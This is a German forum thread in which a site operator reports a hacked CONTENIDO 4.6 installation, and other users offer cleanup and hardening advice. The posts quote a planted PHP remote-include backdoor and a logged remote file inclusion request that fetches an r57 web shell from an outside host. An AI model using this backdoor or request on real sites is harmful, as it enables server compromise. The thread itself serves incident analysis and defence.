Contenido 4.6.XX gehackt

Fragen zur Installation von CONTENIDO 4.9? Probleme bei der Konfiguration? Hinweise oder Fragen zur Entwicklung des Systemes oder zur Sicherheit?
Antworten
Polardrache
Beiträge: 55
Registriert: Fr 22. Apr 2005, 15:41
Wohnort: Berlin
Kontaktdaten:

Contenido 4.6.XX gehackt

Beitrag von Polardrache »

Hallo Leute,

ich habe für eine befreundete Firma ein Projekt mit Contenido umgesetzt und dieses auch regelmäßig weiter betreut. Da wir in der nächsten Zeit einen Relaunch machen wollen, habe ich parallel zur alten 4.6.-Version auch 4.8. installiert (in der gleichen Datenbank, die neuen Taballen heißen alle con2_...). Die alte Contenido-Version lag in einem Unterordner "/c", die neue Version liegt direkt im Webroot. Die Domain liegt bei 1und1 in einen Webpack mit folgenden Daten:
Server: Apache/1.3.34 Ben-SSL/1.55
MySQL: 4.0.27-standard-log
PHP: 4.4.8
(leider sind alle PHP-Funktionen - auch die üblichen Verdächtigen - an, keine Ahnung ob 1und1 da auch andere Optionen anbietet)

Vor drei Tagen habe ich dann beide Versionen upgedatet, die 4.6. auf 4.6.24 und die 4.8. auf 4.8.6., wähnte mich also sicher.

Heute morgen mussten wir festellen, dass wir (anscheindend von einer türkischen Gruppe) gehackt wurden. Im Rootverzeichnis fand ich eine Datei "errors.php" mit dem Inhalt "<?include($_REQUEST["error"] . "/errors.php");?>". Im Verzeichnis "/contenido/logs" lag eine Datei "logs.php", die anscheinend den schädlichen Code enthielt. Weiterhin habe ich einige sehr große Filmdateien im Verzeichnis "/c/cms/upload/logos/.../" gefunden. Und schließlich waren die index.html und die front_content.php unter "/c/cms/" durch andere Dateien ersetzt.

Aufgrund der besonderen Situation mit den zwei Contenido-Versionen kann ich nicht genau sagen, ob es wirklich die 4.6.-Variante war, die gehackt wurde, aber es scheint mir wahrscheinlich.

Nun zu meinen Fragen: Die besagten Dateien habe ich gelöscht. Wie gehe ich jetzt weiter vor? Kann ich alle Dateien löschen, dann "frische" Contenido-Varianten hochladen und dann auf Update gehen, so dass die bestehende Datenbank übernommen wird? Oder könnte sich in der Datenbank auch noch irgendwas verstecken? Falls ja, wie kann ich diese säubern (ein aktuelles Backup gibt es - natürlich - nicht)? Und schließlich: Warum ist das Ganze überhaupt passiert? Ich dachte, es seien alle Lücken geschlossen.

Ich hoffe, ich habe nichts vergessen. Falls noch Infos zur Fehleranalyse fehlen bitte Bescheid sagen.

MfG


Edit: Hab den Titel des Beitrags geändert.
Zuletzt geändert von Polardrache am Mo 23. Jun 2008, 12:59, insgesamt 1-mal geändert.
Polardrache
Beiträge: 55
Registriert: Fr 22. Apr 2005, 15:41
Wohnort: Berlin
Kontaktdaten:

Nachtrag

Beitrag von Polardrache »

... hab gerade mal meine Logfiles durchgeschaut: Die Dateien "errors.php" und "log.php" sind schon länger auf dem Server gewesen. Offensichtlich ist der Angriff noch vor dem Update erfolgt. Damit erledigt sich die letzte Frage - die anderen bleiben natürlich aktuell.
Polardrache
Beiträge: 55
Registriert: Fr 22. Apr 2005, 15:41
Wohnort: Berlin
Kontaktdaten:

Weitere Informationen

Beitrag von Polardrache »

Die Analyse meiner Logfiles hat gezeigt, dass kurz bevor zum ersten Mal erfolgreich auf die Datei "log.php" zugegriffen wurde, eine andere Anfrage von der gleichen IP kam: "//contenido/backend_search.php?contenido_path=http://www.r57shell.in/r57.txt????"

Auf die Datei liefen wohl vorher schon etliche Anfragen.
frederic.schneider_4fb
Beiträge: 967
Registriert: Do 15. Apr 2004, 17:12
Wohnort: Eschborn-Niederhöchstadt
Kontaktdaten:

Beitrag von frederic.schneider_4fb »

Fand der Angriff definitiv nach dem Update auf 4.6.24 bzw. 4.8.6 oder noch davor statt? Wenn er davor stattfand, kann ich dir nur empfehlen, die eingeschleusten Dateien zu löschen - woran es lag, wissen wir ja dann.
Polardrache
Beiträge: 55
Registriert: Fr 22. Apr 2005, 15:41
Wohnort: Berlin
Kontaktdaten:

Beitrag von Polardrache »

Wenn ich die Logfiles richtig gelesen habe, dann ist der Angriff wirklich schon älter. Es bleibt die Frage, ob es ausreicht alle Dateien zu tauschen oder ob ich mich auch um die MySQL-Datenbank kümmern muss.
rethus
Beiträge: 1851
Registriert: Di 28. Mär 2006, 11:55
Wohnort: Mönchengladbach
Kontaktdaten:

Beitrag von rethus »

Da hilft nur die Sache im Auge zu behalten.

Sollte man Grundsätzlich machen:
  • htaccess-Passwortschutz in Contenido-Verzeichnis
  • alpha-numerische Passwörter mit Sonderzeichen (immer und überall) mind. 8 Zeichen
  • php.ini: allow_url_follow und (php5) allow_url_include deaktivieren.
  • contenido Benutzerkennungen ändern, bzw. überflüssige (wie Admin) löschen.
  • phpmyadmin nicht installieren, oder in einem Verzeichnis, das nicht phpmyadmin heißt.
Damit hast du schon mal eine Grundimmunität. Alles weitere ist Fine-Tunning.

PS: Alte Benutzerkennungen - sobald nicht mehr gebraucht - aus der Datenbank löschen!
Could I help you... you can help me... buy me a coffee . (vielen ❤ Dank an: Seelauer, Peanut, fauxxami )

xstable.com: - HighSpeed Hosting, Domains, DomainReselling, Linux-Administration
suther.de: - App-Programierung, High-Performance-Webpages, MicroServices, API-Anbindungen & Erstellung

Software... ein Blick wert: GoogleCalender Eventlist, xst_dynamic_contentType
Polardrache
Beiträge: 55
Registriert: Fr 22. Apr 2005, 15:41
Wohnort: Berlin
Kontaktdaten:

Beitrag von Polardrache »

@rethus:

Vielen Dank für die Tipps, werde ich befolgen!
Dodger77
Beiträge: 3626
Registriert: Di 12. Okt 2004, 20:00
Wohnort: Voerde (Niederrhein)
Kontaktdaten:

Beitrag von Dodger77 »

rethus hat geschrieben:php.ini: allow_url_follow und (php5) allow_url_include deaktivieren.
Die Einstellung heißt "allow_url_fopen":

http://php.net/manual/de/filesystem.configuration.php
rethus
Beiträge: 1851
Registriert: Di 28. Mär 2006, 11:55
Wohnort: Mönchengladbach
Kontaktdaten:

Beitrag von rethus »

@Dogger77:
Ja, bei der allow_url_fopen verhau ich mich irgendwie andauernd... kommt immer irgend was mit follow raus... keine Ahnung warum :roll:
Could I help you... you can help me... buy me a coffee . (vielen ❤ Dank an: Seelauer, Peanut, fauxxami )

xstable.com: - HighSpeed Hosting, Domains, DomainReselling, Linux-Administration
suther.de: - App-Programierung, High-Performance-Webpages, MicroServices, API-Anbindungen & Erstellung

Software... ein Blick wert: GoogleCalender Eventlist, xst_dynamic_contentType
Antworten